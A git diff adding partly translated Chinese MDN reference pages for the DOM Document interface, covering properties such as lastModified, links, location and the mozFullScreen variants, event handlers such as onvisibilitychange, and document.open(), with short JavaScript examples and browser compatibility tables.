+ Also available via the {{domxref("GlobalEventHandlers/ontransitionstart", "ontransitionstart")}} 属性。
+
+ +

Non-standard extensions {{Non-standard_Inline}}

+ +
{{non-standard_header}}
+ +

Firefox notes

+ +

Mozilla defines a set of non-standard properties made only for XUL content:

+ +
+
{{DOMxRef("document.currentScript")}} {{Non-standard_Inline}}
+
返回 {{HTMLElement("script")}} element that is currently executing.
+
{{DOMxRef("document.documentURIObject")}}
+
(Mozilla add-ons only!) 返回 {{Interface("nsIURI")}} object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges).
+
{{DOMxRef("document.popupNode")}}
+
返回 node upon which a popup was invoked.
+
{{DOMxRef("document.tooltipNode")}}
+
返回 node which is the target of the current tooltip.
+
+ +

Mozilla also define some non-standard methods:

+ +
+
{{DOMxRef("document.execCommandShowHelp")}} {{Obsolete_Inline("14.0")}}
+
This method never did anything and always threw an exception, so it was removed in Gecko 14.0 {{geckoRelease("14.0")}}.
+
{{DOMxRef("document.getBoxObjectFor")}} {{Obsolete_Inline}}
+
Use the {{DOMxRef("Element.getBoundingClientRect()")}} method instead.
+
{{DOMxRef("document.loadOverlay")}}
+
Loads a XUL overlay dynamically. This only works in XUL documents.
+
{{DOMxRef("document.queryCommandText")}} {{Obsolete_Inline("14.0")}}
+
This method never did anything but throw an exception, and was removed in Gecko 14.0 {{geckoRelease("14.0")}}.
+
+ +

Internet Explorer notes

+ +

Microsoft defines some non-standard properties:

+ +
+
{{DOMxRef("document.fileSize")}}* {{Non-standard_Inline}} {{Obsolete_Inline}}
+
Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See MSDN.
+
+ +

Internet Explorer does not support all methods from the Node interface in the Document interface:

+ +
+
{{DOMxRef("document.contains")}}
+
As a work-around, document.body.contains() can be used.
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("DOM WHATWG", "#interface-document", "Document")}}{{Spec2("DOM WHATWG")}}Intend to supersede DOM 3
{{SpecName("HTML WHATWG", "dom.html#the-document-object", "Document")}}{{Spec2("HTML WHATWG")}}Turn the {{DOMxRef("HTMLDocument")}} interface into a Document extension.
{{SpecName("HTML Editing", "#dom-document-getselection", "Document")}}{{Spec2("HTML Editing")}}Extend the Document interface
{{SpecName("CSSOM View", "#extensions-to-the-document-interface", "Document")}}{{Spec2("CSSOM View")}}Extend the Document interface
{{SpecName("CSSOM", "#extensions-to-the-document-interface", "Document")}}{{Spec2("CSSOM")}}Extend the Document interface
{{SpecName("Pointer Lock", "#extensions-to-the-document-interface", "Document")}}{{Spec2("Pointer Lock")}}Extend the Document interface
{{SpecName("Page Visibility API", "#extensions-to-the-document-interface", "Document")}}{{Spec2("Page Visibility API")}}Extend the Document interface with the visibilityState and hidden attributes and the onvisibilitychange event listener.
{{SpecName("Selection API", "#extensions-to-document-interface", "Document")}}{{Spec2("Selection API")}}Adds getSelection(), onselectstart and onselectionchange.
{{SpecName("DOM4", "#interface-document", "Document")}}{{Spec2("DOM4")}}Supersede DOM 3
{{SpecName("DOM3 Core", "#i-Document", "Document")}}{{Spec2("DOM3 Core")}}Supersede DOM 2
{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator", "XPathEvaluator")}}{{Spec2("DOM3 XPath")}}Define the {{DOMxRef("XPathEvaluator")}} interface which extend document.
{{SpecName("DOM2 Core", "#i-Document", "Document")}}{{Spec2("DOM2 Core")}}Supersede DOM 1
{{SpecName("DOM1", "#i-Document", "Document")}}{{Spec2("DOM1")}}Initial definition for the interface
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document")}}

diff --git a/files/zh-cn/web/api/document/inputencoding/index.html b/files/zh-cn/web/api/document/inputencoding/index.html new file mode 100644 index 0000000000..ddffb1437f --- /dev/null +++ b/files/zh-cn/web/api/document/inputencoding/index.html @@ -0,0 +1,20 @@ +--- +title: document.inputEncoding +slug: Web/API/Document/inputEncoding +translation_of: Web/API/Document/characterSet +--- +

{{ ApiRef() }} {{ deprecated_header() }}

+

概述

+

返回一个字符串,代表当前文档渲染时所使用的编码.(比如utf-8).

+
+ 警告: 不要再使用该属性.该属性在DOM 4 规范(草案)中已经被废弃. Gecko 在未来的版本中将会删除它.
+

语法

+
encoding = document.inputEncoding;
+
+

inputEncoding 是个只读属性.

+

规范

+ +

{{ languages( {"en": "en/DOM/document.inputEncoding" } ) }}

diff --git a/files/zh-cn/web/api/document/keypress_event/index.html b/files/zh-cn/web/api/document/keypress_event/index.html new file mode 100644 index 0000000000..297a595b2b --- /dev/null +++ b/files/zh-cn/web/api/document/keypress_event/index.html @@ -0,0 +1,149 @@ +--- +title: keypress +slug: Web/API/Document/keypress_event +translation_of: Web/API/Document/keypress_event +--- +

The keypress event is fired when a key is pressed down and that key normally produces a character value (use input instead).

+ +

General info

+ +
+
Specification
+
DOM L3 {{deprecated_inline()}}
+
Interface
+
KeyboardEvent
+
Bubbles
+
Yes
+
Cancelable
+
Yes
+
Target
+
Document, Element
+
Default Action
+
Varies: keypress event; launch text composition system; blur and focus events; DOMActivate event; other event
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not?
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
target {{readonlyInline}}EventTarget (DOM element)Focused element processing the key event, root element if no suitable input element focused.
char {{readonlyInline}}DOMString (string)The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See key names and char values for the detail. +
Note: If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.
+
key {{readonlyInline}}DOMString (string)The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the char attribute. Otherwise, it's one of the key value strings specified in {{ anch("Key values") }}. If the key can't be identified, this is the string "Unidentified". See key names and char values for the detail. Read Only.
charCode {{readonlyInline}}Unsigned long (int)The Unicode reference number of the key; this attribute is used only by the keypress event. For keys whose char attribute contains multiple characters, this is the Unicode value of the first character in that attribute. +
Warning: This attribute is deprecated; you should use char instead, if available.
+
keyCode {{readonlyInline}}Unsigned long (int)A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0. +
Warning: This attribute is deprecated; you should use key instead, if available.
+
which {{readonlyInline}}Unsigned long (int)A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as keyCode. +
Warning: This attribute is deprecated; you should use key instead, if available.
+
location {{readonlyInline}}long (float)The location of the key on the device.
repeat {{readonlyInline}}booleantrue if a key has been depressed long enough to trigger key repetition, otherwise false.
locale {{readonlyInline}}stringThe language code for the key event, if available; otherwise, the empty string.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ + + + diff --git a/files/zh-cn/web/api/document/lastmodified/index.html b/files/zh-cn/web/api/document/lastmodified/index.html new file mode 100644 index 0000000000..2a3ff81130 --- /dev/null +++ b/files/zh-cn/web/api/document/lastmodified/index.html @@ -0,0 +1,31 @@ +--- +title: document.lastModified +slug: Web/API/Document/lastModified +translation_of: Web/API/Document/lastModified +--- +

{{ ApiRef() }}

+ +

概述

+ +

返回一个字符串,其中包含了当前文档的最后修改日期和时间.

+ +

语法

+ +
var string = document.lastModified;
+
+ +

例子

+ +
dump(document.lastModified);
+// 返回: Tuesday, July 10, 2001 10:19:42
+
+ +

备注

+ +

需要注意的是,作为一个字符串,lastModified 不能很容易的被用于与该文档的修改日期做比较.

+ +

Webkit返回的时间为UTC时间;Gecko和IE返回的时间为本地时区时间.

+ +

{{Compat("api.Document.lastModified")}}

+ +

 

diff --git a/files/zh-cn/web/api/document/laststylesheetset/index.html b/files/zh-cn/web/api/document/laststylesheetset/index.html new file mode 100644 index 0000000000..e1b83bb840 --- /dev/null +++ b/files/zh-cn/web/api/document/laststylesheetset/index.html @@ -0,0 +1,51 @@ +--- +title: Document.lastStyleSheetSet +slug: Web/API/Document/lastStyleSheetSet +tags: + - API + - CSSOM + - DOM + - 层叠样式表 + - 引用 + - 文档 +translation_of: Web/API/Document/lastStyleSheetSet +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}
+ +

Document.lastStyleSheetSet 返回最后一个启用的样式表集合。当 {{domxref("document.selectedStyleSheetSet")}} 属性发生变化时,这个属性的值就会随之发生变化。

+ +

语法

+ +
var lastStyleSheetSet = document.lastStyleSheetSet
+
+ +

返回时, lastStyleSheetSet 指示最近设置的样式表。 如果当前样式表集尚未通过设置更改 {{domxref("document.selectedStyleSheetSet")}}, 则返回值为 null

+ +
注意:  当{{domxref("document.enableStyleSheetsForSet()")}} 被执行时,该值不会该变。
+ +

示例

+ +
let lastSheetSet = document.lastStyleSheetSet;
+
+if (!lastSheetSet) {
+  lastSheetSet = 'Style sheet not yet changed';
+}
+else {
+  console.log('The last style sheet set is: ' + lastSheetSet);
+}
+
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.lastStyleSheetSet")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/document/linkcolor/index.html b/files/zh-cn/web/api/document/linkcolor/index.html new file mode 100644 index 0000000000..875abc557f --- /dev/null +++ b/files/zh-cn/web/api/document/linkcolor/index.html @@ -0,0 +1,46 @@ +--- +title: document.linkColor +slug: Web/API/Document/linkColor +translation_of: Web/API/Document/linkColor +--- +

{{ ApiRef() }}

+ +

概述

+ +

{{ Deprecated_header() }} linkColor 用来获取和设置文档内链接元素(<a>)的颜色.

+ +

语法

+ +
color = document.linkColor
+document.linkColor = color
+
+ +

参数

+ + + +

备注

+ +

在Mozilla Firefox中,该属性的默认值是blue(或者说是#0000ee ).

+ +

document.linkColorDOM Level 2 HTML中已被废弃.

+ +

替代方案是在链接元素上 HTML anchor (<a>)  使用css {{ Cssxref("color") }} 属性,(比如a {color:red;}) 或者 :link 伪类 ,(比如:link {color:red;}).

+ +

另一种方法是使用 document.body.link, 该属也在HTML 4.01中被废弃.

+ +

例子

+ +
document.linkColor = "blue";
+
+ +

规范

+ +

 

+ + diff --git a/files/zh-cn/web/api/document/links/index.html b/files/zh-cn/web/api/document/links/index.html new file mode 100644 index 0000000000..a5df44e0c6 --- /dev/null +++ b/files/zh-cn/web/api/document/links/index.html @@ -0,0 +1,60 @@ +--- +title: Document.links +slug: Web/API/Document/links +tags: + - API + - Document + - 属性 +translation_of: Web/API/Document/links +--- +

{{APIRef("DOM")}}

+ +

links 属性返回一个文档中所有具有 href 属性值的 {{HTMLElement("area")}} 元素与 {{HTMLElement("a")}} 元素的集合。

+ +

语法

+ +
nodeList = document.links 
+ + +

返回值

+ +

一个 {{domxref("HTMLCollection")}}。

+ +

示例

+ +
var links = document.links;
+for(var i = 0; i < links.length; i++) {
+  var linkHref = document.createTextNode(links[i].href);
+  var lineBreak = document.createElement("br");
+  document.body.appendChild(linkHref);
+  document.body.appendChild(lineBreak);
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}{{ Spec2('HTML WHATWG') }}
{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}{{Spec2("DOM2 HTML")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.links")}}

diff --git a/files/zh-cn/web/api/document/location/index.html b/files/zh-cn/web/api/document/location/index.html new file mode 100644 index 0000000000..bd6429ccab --- /dev/null +++ b/files/zh-cn/web/api/document/location/index.html @@ -0,0 +1,91 @@ +--- +title: Document.location +slug: Web/API/Document/location +translation_of: Web/API/Document/location +--- +

{{APIRef}}

+

Document.location 是一个只读属性,返回一个 {{domxref("Location")}} 对象,包含有文档的 URL 相关的信息,并提供了改变该 URL 和加载其他 URL 的方法。

+

尽管 Document.location 是一个只读的 Location 对象,你也能够赋给它一个 {{domxref("DOMString")}}。这意味着你能够赋给 document.location 字符串,大多数情况下像这样使用:document.location = 'http://www.example.com',也可写为document.location.href = 'http://www.example.com'

+

只是想获取字符串形式的 URL,可以使用只读属性 {{domxref("document.URL")}}。

+

If the current document is not in a browsing context, the returned value is null.

+

语法

+
locationObj = document.location
+document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org'
+
+

示例

+
dump(document.location);
+// Prints a string like
+// "http://www.example.com/juicybits.html" to the console
+
+

规范

+ + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}{{Spec2('HTML5 W3C')}}Initial definition.
+

浏览器兼容性

+

{{CompatibilityTable}}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+

相关链接

+ +

 

diff --git a/files/zh-cn/web/api/document/mozfullscreen/index.html b/files/zh-cn/web/api/document/mozfullscreen/index.html new file mode 100644 index 0000000000..eb15adcede --- /dev/null +++ b/files/zh-cn/web/api/document/mozfullscreen/index.html @@ -0,0 +1,108 @@ +--- +title: document.mozFullScreen +slug: Web/API/Document/mozFullScreen +translation_of: Web/API/Document/fullscreen +--- +

 

+ +

{{APIRef("Fullscreen API")}}{{Deprecated_Header}}

+ +

过时的{{domxref("Document")}}接口的 fullscreen 只读属性报告文档当前是否以全屏模式显示内容。

+ +

虽然这个属性是只读的,但如果修改它,它不会抛出(即使在严格模式下);setter是一个非操作,它将被忽略。

+ +
+

注意: 由于不推荐使用此属性,您可以通过检查{{DOMxRef("document.fullscreenelement")}}是否为null来确定文档上是否启用全屏模式。

+
+ +

 

+ +

概述

+ +

返回一个布尔值,表明当前文档是否处于全屏模式.

+ +

语法

+ +
var isFullScreen = document.mozFullScreen || document.webkitIsFullScreen;
+
+ +

例子

+ +
function isDocumentInFullScreenMode() {
+  // 过去由F11触发的那种浏览器全屏模式和HTML5中内容的全屏模式是不一样的
+  return (document.fullscreenElement && document.fullscreenElement !== null) ||
+      (!document.mozFullScreen && !document.webkitIsFullScreen);
+}
+
+ +

备注

+ +

查看使用全屏模式来了解更多相关内容.

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

规范

+ +

不属于任何公开的规范

+ +

相关链接

+ + + +

{{ languages( {"en": "en/DOM/document.mozFullScreen" } ) }}

diff --git a/files/zh-cn/web/api/document/mozfullscreenelement/index.html b/files/zh-cn/web/api/document/mozfullscreenelement/index.html new file mode 100644 index 0000000000..d87cd89683 --- /dev/null +++ b/files/zh-cn/web/api/document/mozfullscreenelement/index.html @@ -0,0 +1,77 @@ +--- +title: document.mozFullScreenElement +slug: Web/API/Document/mozFullScreenElement +translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement +--- +

{{ ApiRef() }}

+

概述

+

返回当前文档中正在以全屏模式显示的{{ domxref("Element") }}节点,如果没有使用全屏模式,则返回null.

+

语法

+
var element = document.mozFullScreenElement;
+
+

示例

+
function isVideoInFullsreen() {
+  if (document.mozFullScreenElement && document.mozFullScreenElement.nodeName == 'VIDEO') {
+    console.log('您的视频正在以全屏模式显示');
+  }
+}
+

辅助

+

查看使用"全屏模式"页面了解详情.

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("9.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

规范

+

该方法提案已经进入相关规范草案 http://dvcs.w3.org/hg/fullscrezh-CN/raw-file/tip/Overview.html#dom-document-fullscreenelement

+

相关链接

+ diff --git a/files/zh-cn/web/api/document/mozfullscreenenabled/index.html b/files/zh-cn/web/api/document/mozfullscreenenabled/index.html new file mode 100644 index 0000000000..248797541a --- /dev/null +++ b/files/zh-cn/web/api/document/mozfullscreenenabled/index.html @@ -0,0 +1,82 @@ +--- +title: document.mozFullScreenEnabled +slug: Web/API/Document/mozFullScreenEnabled +translation_of: Web/API/Document/fullscreenEnabled +--- +

{{ ApiRef() }}

+

概述

+

返回一个布尔值,表明浏览器是否支持全屏模式. 全屏模式只在那些不包含窗口化的插件的页面中可用.对于一个{{ HTMLElement("iframe") }}元素中的页面,则它必需拥有{{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}属性.

+

语法

+
var isFullScreenAvailable = document.mozFullScreenEnabled;
+
+

如果当前文档可以进入全屏模式,则isFullScreenAvailabletrue

+

例子

+
function requestFullScreen() {
+  if (document.mozFullScreenEnabled) {
+    videoElement.requestFullScreen();
+  } else {
+    console.log('你的浏览器不支持全屏模式!');
+  }
+}
+
+

备注

+

进入页面使用全屏模式查看详情和示例.

+

浏览器兼容性

+

{{ CompatibilityTable() }}

+
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatGeckoDesktop("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatGeckoMobile("10.0") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+

规范

+

该方法在规范草案 http://dvcs.w3.org/hg/fullscrezh-cn/raw-file/tip/Overview.html#dom-document-fullscreenenabled 中被提出.

+

相关链接

+ +

{{ languages( { "en": "en/DOM/document.mozFullScreenEnabled" } ) }}

diff --git a/files/zh-cn/web/api/document/mozsyntheticdocument/index.html b/files/zh-cn/web/api/document/mozsyntheticdocument/index.html new file mode 100644 index 0000000000..f8074cd687 --- /dev/null +++ b/files/zh-cn/web/api/document/mozsyntheticdocument/index.html @@ -0,0 +1,38 @@ +--- +title: Document.mozSyntheticDocument +slug: Web/API/Document/mozSyntheticDocument +tags: + - DOM +translation_of: Web/API/Document/mozSyntheticDocument +--- +

概述

+ +

{{ ApiRef("DOM") }}

+ +

文档是否是合成文档; 即表示独立的图像,视频,音频等的文档。

+ +
+

注:应考虑兼容性和应用场景

+
+ +

语法

+ +
var isSynthetic = document.mozSyntheticDocument;
+
+ +

返回时,如果文档是合成的,则合成是真实的; 否则是假的。

+ +

例子

+ +

如果您有一个您只想为合成文档显示的上下文菜单项(或相反,对于不合成的文档),这可能很有用。

+ +
var isSynthetic = document.mozSyntheticDocument;
+
+if (isSynthetic) {
+  /* insert your menu item here */
+}
+
+ +

规范

+ +

不是任何规范的一部分。

diff --git a/files/zh-cn/web/api/document/onbeforescriptexecute/index.html b/files/zh-cn/web/api/document/onbeforescriptexecute/index.html new file mode 100644 index 0000000000..966e866969 --- /dev/null +++ b/files/zh-cn/web/api/document/onbeforescriptexecute/index.html @@ -0,0 +1,44 @@ +--- +title: element.onbeforescriptexecute +slug: Web/API/Document/onbeforescriptexecute +tags: + - DOM + - onbeforescriptexecute +translation_of: Web/API/Document/onbeforescriptexecute +--- +
{{ApiRef}}{{gecko_minversion_header("2")}}
+ +

概述

+ +

当HTML文档中的<script>标签内的代码将要执行时触发该事件,如果这个script标签是用appendChild()等方法动态添加上去的,则不会触发该事件.

+ +

语法

+ +
document.onbeforescriptexecute = funcRef;
+
+ +

beforescriptexecute事件触发时,funcRef函数就会被调用. 传入参数eventtarget属性指向触发该事件的那个script元素.

+ +

例子

+ +
function starting(e) {
+  logMessage("Starting script with ID: " + e.target.id);
+}
+
+document.addEventListener("beforescriptexecute", starting, true);
+
+ +

查看在线演示

+ +

规范

+ + + +

相关链接

+ + diff --git a/files/zh-cn/web/api/document/onfullscreenchange/index.html b/files/zh-cn/web/api/document/onfullscreenchange/index.html new file mode 100644 index 0000000000..daf430721e --- /dev/null +++ b/files/zh-cn/web/api/document/onfullscreenchange/index.html @@ -0,0 +1,70 @@ +--- +title: Document.onfullscreenchange +slug: Web/API/Document/onfullscreenchange +tags: + - API + - Document + - onfullscreenchange +translation_of: Web/API/Document/onfullscreenchange +--- +
{{ApiRef("Fullscreen API")}}
+ +

{{domxref("Document")}}接口的onfullscreenchange 属性是 {{event("fullscreenchange")}} 事件的处理器,该处理器在文档进入或者退出全屏模式的时候立即触发。

+ +

语法

+ +
targetDocument.onfullscreenchange = fullscreenChangeHandler;
+
+ +

Value

+ +

每当文档接收到{{event("fullscreenchange")}} 事件时都会调用该事件处理程序,它表明文档正在进入或退出全屏模式。

+ +

使用说明

+ +

fullscreenchange事件不会直接说明文档当前是进入还是退出全屏模式,因此你的事件处理程序应查看{{domxref("Document.fullscreenElement")}}的值。 如果为null,则该事件表示已退出全屏模式; 否则,指定的元素将接管屏幕。

+ +

示例

+ +
document.onfullscreenchange = function ( event ) {
+  console.log("FULL SCREEN CHANGE")
+};
+document.documentElement.onclick = function () {
+  // requestFullscreen() 方法必须在一个事件处理器的方法体里执行,否则将会失败
+  document.documentElement.requestFullscreen();
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Fullscreen", "#handler-document-onfullscreenchange", "onfullscreenchange")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.onfullscreenchange")}}

+ +

相关文章

+ + diff --git a/files/zh-cn/web/api/document/onfullscreenerror/index.html b/files/zh-cn/web/api/document/onfullscreenerror/index.html new file mode 100644 index 0000000000..341f7b0982 --- /dev/null +++ b/files/zh-cn/web/api/document/onfullscreenerror/index.html @@ -0,0 +1,103 @@ +--- +title: Document.onfullscreenerror +slug: Web/API/Document/onfullscreenerror +translation_of: Web/API/Document/onfullscreenerror +--- +
{{ApiRef("Fullscreen API")}}
+ +

Document.onfullscreenerror 属性是一个事件处理器用于处理 {{event("fullscreenchange")}} 事件,在当前文档不能进入全屏模式,即使它被请求时触发。

+ +

语法

+ +
targetDocument.onfullscreenerror = fullscreenErrorHandler;
+
+ +

示例

+ +
document.onfullscreenerror = function ( event ) {
+  console.log("FULL SCREEN DENIED")
+};
+
+// requestFullscreen()将会失败,因为它在事件处理器之外
+document.documentElement.requestFullscreen();
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Fullscreen", "#handler-document-onfullscreenerror", "onfullscreenerror")}}{{Spec2("HTML WHATWG")}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(45)}}{{CompatGeckoDesktop("47")}}[1] (behind full-screen-api.unprefix.enabled{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(45)}}{{CompatChrome(45)}}{{CompatGeckoDesktop("47")}} [1] (behind full-screen-api.unprefix.enabled{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 在Firefox 49之前, 此属性从技术上来说属于{{domxref("GlobalEventHandlers")}}, 但把相关的事件处理器绑定在一个 {{domxref("Element")}}上时却永远不会触发.

+ +

相关文章

+ + diff --git a/files/zh-cn/web/api/document/onoffline/index.html b/files/zh-cn/web/api/document/onoffline/index.html new file mode 100644 index 0000000000..e96a4cded1 --- /dev/null +++ b/files/zh-cn/web/api/document/onoffline/index.html @@ -0,0 +1,8 @@ +--- +title: Document.onoffline +slug: Web/API/Document/onoffline +translation_of: Web/API/Document/onoffline +--- +

{{APIRef("DOM")}}

+ +

navigator.onLine 属性更改并变为 false时,在 body或冒泡到body上的{{event("offline")}}事件被触发。

diff --git a/files/zh-cn/web/api/document/ononline/index.html b/files/zh-cn/web/api/document/ononline/index.html new file mode 100644 index 0000000000..8a98a300eb --- /dev/null +++ b/files/zh-cn/web/api/document/ononline/index.html @@ -0,0 +1,40 @@ +--- +title: Document.ononline +slug: Web/API/Document/ononline +tags: + - API + - 原型 + - 文档 + - 文档说明 + - 方法 + - 页面文档 +translation_of: Web/API/Document/ononline +--- +

{{APIRef("DOM")}}

+ +

当浏览器在联机和脱机模式之间切换时,会在每个页面的<body>触发online事件此外,这些事件从document.body,到document结束于window。这两个事件(在线状态或离线状态)都是不可取消的(您无法阻止用户进入在线状态或离线状态)。

+ +

如果浏览器处于联机状态,window.navigator.onLine将返回布尔值true,如果它 处于脱机状态(从网络断开连接),则返回false。当此属性的值更改时,会触发联机和脱机事件。

+ +
+

重要的是要注意,这个事件和属性本质上是不可靠的。计算机可以连接到网络而无需访问Internet。

+
+ +

您可以用几种常见的方法监听这些事件:

+ + + +

例子

+ +

一个简单的测试用例,你可以运行,以验证该事件工作。

+ +

参考

+ + diff --git a/files/zh-cn/web/api/document/onvisibilitychange/index.html b/files/zh-cn/web/api/document/onvisibilitychange/index.html new file mode 100644 index 0000000000..22fb0e4db4 --- /dev/null +++ b/files/zh-cn/web/api/document/onvisibilitychange/index.html @@ -0,0 +1,53 @@ +--- +title: Document.onvisibilitychange +slug: Web/API/Document/onvisibilitychange +translation_of: Web/API/Document/onvisibilitychange +--- +
{{ApiRef('DOM')}}
+ +

Document.onvisibilitychange 是一个事件处理方法,它将在该对象的 visibilitychange事件被触发时调用。

+ +

Syntax

+ +
obj.onvisibilitychange = function;
+
+ + + +

例子

+ +
document.onvisibilitychange = function() {
+  console.log("Visibility of page has changed!");
+};
+
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API','#onvisiblitychange-event-handler','onvisibilitychange')}}{{Spec2('Page Visibility API')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.onvisibilitychange")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/document/open/index.html b/files/zh-cn/web/api/document/open/index.html new file mode 100644 index 0000000000..a6d75efaca --- /dev/null +++ b/files/zh-cn/web/api/document/open/index.html @@ -0,0 +1,126 @@ +--- +title: Document.open() +slug: Web/API/Document/open +tags: + - DOM + - Document + - Document.open() +translation_of: Web/API/Document/open +--- +

{{APIRef("DOM")}}

+ +

Document.open() 方法打开一个要写入的文档。

+ +

这将会有一些连带的影响。例如:

+ + + +

语法

+ +
document.open();
+
+ +

参数

+ +

无。

+ +

返回值

+ +

一个 Document 对象实例。

+ +

示例

+ +

以下简单的代码,会打开一个文档,并将原有内容替换为一些不同的HTML片段,然后关闭文档。

+ +
document.open();
+document.write("<p>Hello world!</p>");
+document.write("<p>I am a fish</p>");
+document.write("<p>The number is 42</p>");
+document.close();
+ +

注意

+ +

document.write() 在页面加载后调用,会发生自动的 document.open()调用。

+ +

很多年以来,Firefox和IE浏览器会在清除所有节点的同时,将所有Javascript变量等一并清除,但现在已经不采用这一做法。
+ document non-spec'ed parameters to document.open

+ +

不要和 window.open() 方法混淆。document.open 可用于重写当前的文档内容或者追加内容, 而 window.open 是提供了打开一个新的窗口的方法,当前的网页文档内容会被保留。由于 window 是一个全局对象,直接调用 open(...)  和 window.open(...) 的效果是一样的。你可以使用 document.close()关闭打开的文档。

+ +

See Security check basics for more about principals.

+ +

如果不想在当前文本追加内容, 使用 open("text/html", "replace") 替换 open() .

+ +

针对Gecko的注意事项

+ +

从Gecko 1.9开始,这个方法与其他属性一样受到同源策略的控制,若调用会使文档的源产生变化则不可用。

+ +

